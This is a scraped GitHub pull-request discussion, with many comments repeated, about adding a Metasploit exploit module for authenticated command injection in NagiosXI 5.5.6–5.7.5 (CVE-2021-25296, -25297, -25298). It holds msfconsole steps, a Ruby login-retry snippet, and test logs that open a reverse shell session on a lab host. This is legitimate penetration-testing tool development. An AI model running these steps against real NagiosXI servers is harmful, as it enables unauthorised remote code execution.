metasploit-framework
metasploit-framework copied to clipboard
Add NagiosXI authenticated RCE (CVE-2021-25296, CVE-2021-25297,CVE-2021-25298) exploit module
This PR adds an exploit module for three CVEs (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298) that perform command injection against NagiosXI 5.7.5. It utilizes the Nagios login mixin for target verification and authentication.
Verification
- [ ] Start
msfconsole - [ ]
use exploit/linux/http/nagios_xi_configwizards_authenticated_rce - [ ]
set RHOSTS TARGET_IP - [ ]
set RPORT 443 - [ ]
set SSL true - [ ]
set USERNAME USER - [ ]
set PASSWORD PASSWORD - [ ]
set TARGET_URL_PARAM plugin_output_len - [ ]
set LHOST YOUR_IP - [ ]
set LPORT YOUR_LISTENING_PORT - [ ]
run
Vulnerable Software
The easiest way to test is against the official OVA (https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.7.5-64.ova).) but installing it manually on linux is also an option.

FWIW the lint failure appears to be unrelated, the error is about a file read issue and it can't be rerun
@k0pak4 Seems like this was a GitHub cache issue that caused an issue due to missed cache hit. I reran the checks so that things should now pass.
Thanks @gwillcox-r7 ! Normally I can rerun failed checks, but maybe I couldn't this time because it's a PR based check and not a normal branch one 🤷♂️ Appreciate the assist!
Thanks @gwillcox-r7 ! Normally I can rerun failed checks, but maybe I couldn't this time because it's a PR based check and not a normal branch one 🤷♂️ Appreciate the assist!
Yeah a few of them normal people can't rerun, not sure why that one specifically was blocked but I know we had some security concerns recently about bots running automatically on code so it may have been updated as part of those set of fixes 🤷
@gwillcox-r7 I addressed all of the PR comments except for testing prior NagiosXI versions. I'll do that today but wanted to push the rest up in the meantime. If older versions hit, I'll update the code & docs to reflect that. The biggest changes are: adding switch wizard support, moving authenticate to a separate function, performing the authenticate either in check or exploit to support not using autocheck but without authenticating twice, and changing the target parameter to be the wizard. I'll wait for feedback before opening an issue for the other NagiosXI module I saw using a similar check style. I'll probably end up doing that myself now that I have a good NagiosXI workflow/environment but in case I don't I want to make sure it doesn't slip through the cracks.
Thanks @k0pak4 will go through this now and review 👍
Thanks @gwillcox-r7 . Turns out it's actually vulnerable from 5.5.6 to 5.7.5. Before 5.5.8, the ip_address parameter is named address, so I had to re-work some of the check to have authenticate also set the version string since it has the response body available. Thanks for the suggestion to check older versions! I'll send in update requests for the CVEs to reflect that.
Thanks @gwillcox-r7 . Turns out it's actually vulnerable from 5.5.6 to 5.7.5. Before 5.5.8, the ip_address parameter is named address, so I had to re-work some of the check to have authenticate also set the version string since it has the response body available. Thanks for the suggestion to check older versions! I'll send in update requests for the CVEs to reflect that.
Awesome, glad to hear you were able to get this working with more versions! 😄
@k0pak4 Looks like most comments were resolved. Still have an outstanding concern r.e the check method. See comments above for more info. I went ahead and fixed the other issues so long where relevant (there were only 2-3 or so) so the code should be ready to review again after this is fixed.
@gwillcox-r7 I addressed all the requested changes I think. I tested the module again as well after all the changes. The documentation should be more thorough on the installs, and the check/authenticate should give more detailed statuses and error messages by propagating the ones returned from nagios_xi_login. I also added the requested checks for nil values, etc. so it should be more resilient
Alright I think this should be ready for testing, just going over the 4 commits you made to see if there is anything I might have missed, and then will set up a target and test the module against it. Thanks for all the effort you put into this, at over 100 comments I know this is growing a bit long in the tooth but should get this landed soon 👍
Alright I think this should be ready for testing, just going over the 4 commits you made to see if there is anything I might have missed, and then will set up a target and test the module against it. Thanks for all the effort you put into this, at over 100 comments I know this is growing a bit long in the tooth but should get this landed soon 👍
I think the module is in a much better place now, I appreciate the thorough and detailed reviews. I checked the other authenticated NagiosXI modules and they could take advantage of some of the suggestions and updates made to this module, so I opened an issue for it (https://github.com/rapid7/metasploit-framework/issues/17606). Given that a lot of the code could be reused during fixing, and that NagiosXI is fairly easy to install even older versions, it's probably a good candidate to be labeled newbie-friendly
Alright I think this should be ready for testing, just going over the 4 commits you made to see if there is anything I might have missed, and then will set up a target and test the module against it. Thanks for all the effort you put into this, at over 100 comments I know this is growing a bit long in the tooth but should get this landed soon 👍
I think the module is in a much better place now, I appreciate the thorough and detailed reviews. I checked the other authenticated NagiosXI modules and they could take advantage of some of the suggestions and updates made to this module, so I opened an issue for it (#17606). Given that a lot of the code could be reused during fixing, and that NagiosXI is fairly easy to install even older versions, it's probably a good candidate to be labeled newbie-friendly
Thanks added the newbie-friendly and easy tags so it should be easier for those new to Metasploit to work on this 👍
All comments resolved, will download latest updates and test now.
Tried this against a target with most things up but license wasn't signed and got this:
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit
[*] Started reverse SSL handler on 192.168.153.128:9983
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[+] Successfully authenticated to Nagios XI.
[!] The service is running, but could not be validated. Failed to extract authentication cookies
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[+] Successfully authenticated to Nagios XI.
[-] Exploit aborted due to failure: unexpected-reply: Failed to extract authentication cookies
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) >
Tried this against a target with most things up but license wasn't signed and got this:
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:9983 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [!] The service is running, but could not be validated. Failed to extract authentication cookies [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [-] Exploit aborted due to failure: unexpected-reply: Failed to extract authentication cookies [*] Exploit completed, but no session was created. msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) >
I believe this is being caused by which CheckCode I decided to return when it failed to install/sign the license agreement. I used Detected in this case, which I guess doesn't stop the exploit from attempting to continue. Then it tries to auth again, and fails to sign again. Should I use a different check code so that this behavior doesn't happen on a failed signing?
Tried this against a target with most things up but license wasn't signed and got this:
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:9983 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [!] The service is running, but could not be validated. Failed to extract authentication cookies [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [-] Exploit aborted due to failure: unexpected-reply: Failed to extract authentication cookies [*] Exploit completed, but no session was created. msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) >I believe this is being caused by which CheckCode I decided to return when it failed to install/sign the license agreement. I used
Detectedin this case, which I guess doesn't stop the exploit from attempting to continue. Then it tries to auth again, and fails to sign again. Should I use a different check code so that this behavior doesn't happen on a failed signing?
I guess we could use CheckCode::Safe but tbh that feels like it would run into a false negative situation. I think honestly the issue atm is that your case login_result code within the initial case statement in authenticate doesn't handle case 5 like it should, only cases 1 to 4, so this is an oversight there.
Edit: https://github.com/rapid7/metasploit-framework/pull/17494/commits/d7024a0efe97ba5c99e862152c45d35a48e9098a should solve the case of the missing case 5 check before we do the extraction of the cookies and auth info, and that is working for me now locally.
Tried this against a target with most things up but license wasn't signed and got this:
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:9983 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [!] The service is running, but could not be validated. Failed to extract authentication cookies [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [+] Successfully authenticated to Nagios XI. [-] Exploit aborted due to failure: unexpected-reply: Failed to extract authentication cookies [*] Exploit completed, but no session was created. msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) >I believe this is being caused by which CheckCode I decided to return when it failed to install/sign the license agreement. I used
Detectedin this case, which I guess doesn't stop the exploit from attempting to continue. Then it tries to auth again, and fails to sign again. Should I use a different check code so that this behavior doesn't happen on a failed signing?I guess we could use
CheckCode::Safebut tbh that feels like it would run into a false negative situation. I think honestly the issue atm is that yourcase login_resultcode within the initialcasestatement inauthenticatedoesn't handle case5like it should, only cases 1 to 4, so this is an oversight there.
Yeah I don't think CheckCode::Safe is the right one either. It looks like both the check and execute_command have a case statement for 5:
when 2, 4, 5, 6
return CheckCode::Detected(err_msg)
or
when 2, 4, 5, 6
fail_with(Failure::UnexpectedReply, err_msg)
Alright at the moment I'm getting all the way to the final stage and then I'm getting NSP: Sorry Dave, I can't let you do that error messages when trying to send the payload. Not sure why that is occurring atm.
Okay figured out that with the update to match we needed to update the resulting entry to nsp[1] instead of nsp[0] otherwise we get extra characters. Going to run a quick double check then push up a fix.
Edit: Seems that was the trick we needed, pushing up fixes now.
Alright seems this is all working now. Only question I have is a minor one r.e why it seems that it fails to extract authentication cookies on the first authentication attempt and then seems to succeed on the second:
msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.135
RHOST => 192.168.153.135
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin
USERNAME => nagiosadmin
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.
PASSWORD nagiosadmin no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.153.135 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on al
l addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
TARGET_CVE CVE-2021-25296 yes CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin no Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl_ssl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.153.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 CMD
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true
FINISH_INSTALL => true
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RPORT 443
RPORT => 443
msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit
[*] Started reverse SSL handler on 192.168.153.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[!] The target seems to be a Nagios XI application that has not been fully installed yet.
[*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`.
[*] Attempting to authenticate to Nagios XI...
[!] No response received from the server. This can happen after installing Nagios XI or signing the license agreement
[*] The module will wait for 5 seconds and retry.
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[*] Attempting to sign the Nagios XI license agreement...
[*] License agreement signed. The module will wait for 5 seconds and retry the login.
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[!] The service is running, but could not be validated. Failed to extract authentication cookies
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[*] Target is Nagios XI with version 5.7.5.
[*] Sending the payload...
[*] Command shell session 1 opened (192.168.153.128:4444 -> 192.168.153.135:57360) at 2023-02-07 10:59:38 -0600
id
uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
pwd
/usr/local/nagiosxi/html/config
uname -a
Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Okay whilst testing I found another bug in my logic so going to go ahead and fix that up so long. Not sure if doing another code review would be worth it here; there were quite a few bugs encountered but most of it seems to be errors in the edits we made to fix bugs we already noted 🤔 I think its probably still worthwhile to give this another look over though given what I've encountered in testing.
Alright seems this is all working now. Only question I have is a minor one r.e why it seems that it fails to extract authentication cookies on the first authentication attempt and then seems to succeed on the second:
msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce [*] Using configured payload cmd/unix/reverse_perl_ssl msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.135 RHOST => 192.168.153.135 msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128 LHOST => 192.168.153.128 msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin USERNAME => nagiosadmin msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin PASSWORD => nagiosadmin msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce): Name Current Setting Required Description ---- --------------- -------- ----------- FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement. PASSWORD nagiosadmin no Password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.153.135 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on al l addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /nagiosxi/ yes The base path to the Nagios XI application TARGET_CVE CVE-2021-25296 yes CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298) URIPATH no The URI to use for this exploit (default is random) USERNAME nagiosadmin no Username to authenticate with VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl_ssl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.153.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 2 CMD View the full module info with the info, or info -d command. msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true FINISH_INSTALL => true msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RPORT 443 RPORT => 443 msf6 exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit [*] Started reverse SSL handler on 192.168.153.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Attempting to authenticate to Nagios XI... [!] The target seems to be a Nagios XI application that has not been fully installed yet. [*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`. [*] Attempting to authenticate to Nagios XI... [!] No response received from the server. This can happen after installing Nagios XI or signing the license agreement [*] The module will wait for 5 seconds and retry. [*] Attempting to authenticate to Nagios XI... [!] The Nagios XI license agreement has not yet been signed on the target. [*] Attempting to sign the Nagios XI license agreement... [*] License agreement signed. The module will wait for 5 seconds and retry the login. [*] Attempting to authenticate to Nagios XI... [+] Successfully authenticated to Nagios XI. [!] The service is running, but could not be validated. Failed to extract authentication cookies [*] Attempting to authenticate to Nagios XI... [+] Successfully authenticated to Nagios XI. [*] Target is Nagios XI with version 5.7.5. [*] Sending the payload... [*] Command shell session 1 opened (192.168.153.128:4444 -> 192.168.153.135:57360) at 2023-02-07 10:59:38 -0600 id uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd) pwd /usr/local/nagiosxi/html/config uname -a Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
I'm not sure exactly why, but it does appear that its part of the logic of logging in after accepting the license:
def login_after_install_or_license(username, password, finish_install)
# After installing Nagios XI or signing the license agreement, we sometimes don't receive a server response.
# This loop ensures that at least 2 login attempts are performed if this happens, as the second one usually works.
second_attempt = false
while true
login_result, error_message = nagios_xi_login(username, password, finish_install)
break unless error_message == ['Connection failed']
if second_attempt
print_warning('The server is still not responding. If you wait a few seconds and rerun the module, it might still work.')
break
else
print_warning('No response received from the server. This can happen after installing Nagios XI or signing the license agreement')
print_status('The module will wait for 5 seconds and retry.')
second_attempt = true
sleep 5
end
end
So I think that is at least somewhat expected that the first attempt post-accepting might fail
@k0pak4 Figured out the bug. Turns out when I refactored I didn't correctly update both the login status code and the message being returned. In fact I think I might have at best only updated the login code and not the message, and at worst may have been using == instead of = to set the variable.
All entirely my fault, but got a fix for it now that I'll push up. Wanted to try centralize that logic and expected I might run into some issues 👍
Edit: Please excuse the delay also doing some testing on the other payload types and targets at the same time so I don't end up making tons of commits 😄
Fixed a few issues I noticed in the docs review, namely some incorrect CVE numbers due to me switching some of the numbers around, and an update to accommodate the 5.5.7 point on the parameter name changing. Still need to add a scenario for 5.5.6 so we have our range of testing to claim we cover the versions we claim to target; atm we just have 5.7.5 as tested in the documentation.
Fixed a few issues I noticed in the docs review, namely some incorrect CVE numbers due to me switching some of the numbers around, and an update to accommodate the 5.5.7 point on the parameter name changing. Still need to add a scenario for 5.5.6 so we have our range of testing to claim we cover the versions we claim to target; atm we just have 5.7.5 as tested in the documentation.
Good point. I have 5.5.6 installed currently so just added a scenario for it, specifically with CVE-2021-25297 since it uses a different parameter in that version, so is a better representative example
Thanks for the example addition @k0pak4!
This should be good to land once tests pass. I addressed the updates from above in the last commit then squashed things down to remove all the references to fixes. Tried to keep the commit messages for those fixes that were important and well described.
Thanks for PRing this @k0pak4 and appreciate your help on all this!
This should be good to land once tests pass. I addressed the updates from above in the last commit then squashed things down to remove all the references to fixes. Tried to keep the commit messages for those fixes that were important and well described.
Thanks for PRing this @k0pak4 and appreciate your help on all this!
Thanks for the thorough PR, I know it was a lot of changes so I appreciate it 🎉 Thanks for tidying up the commit history too, it was certainly getting messy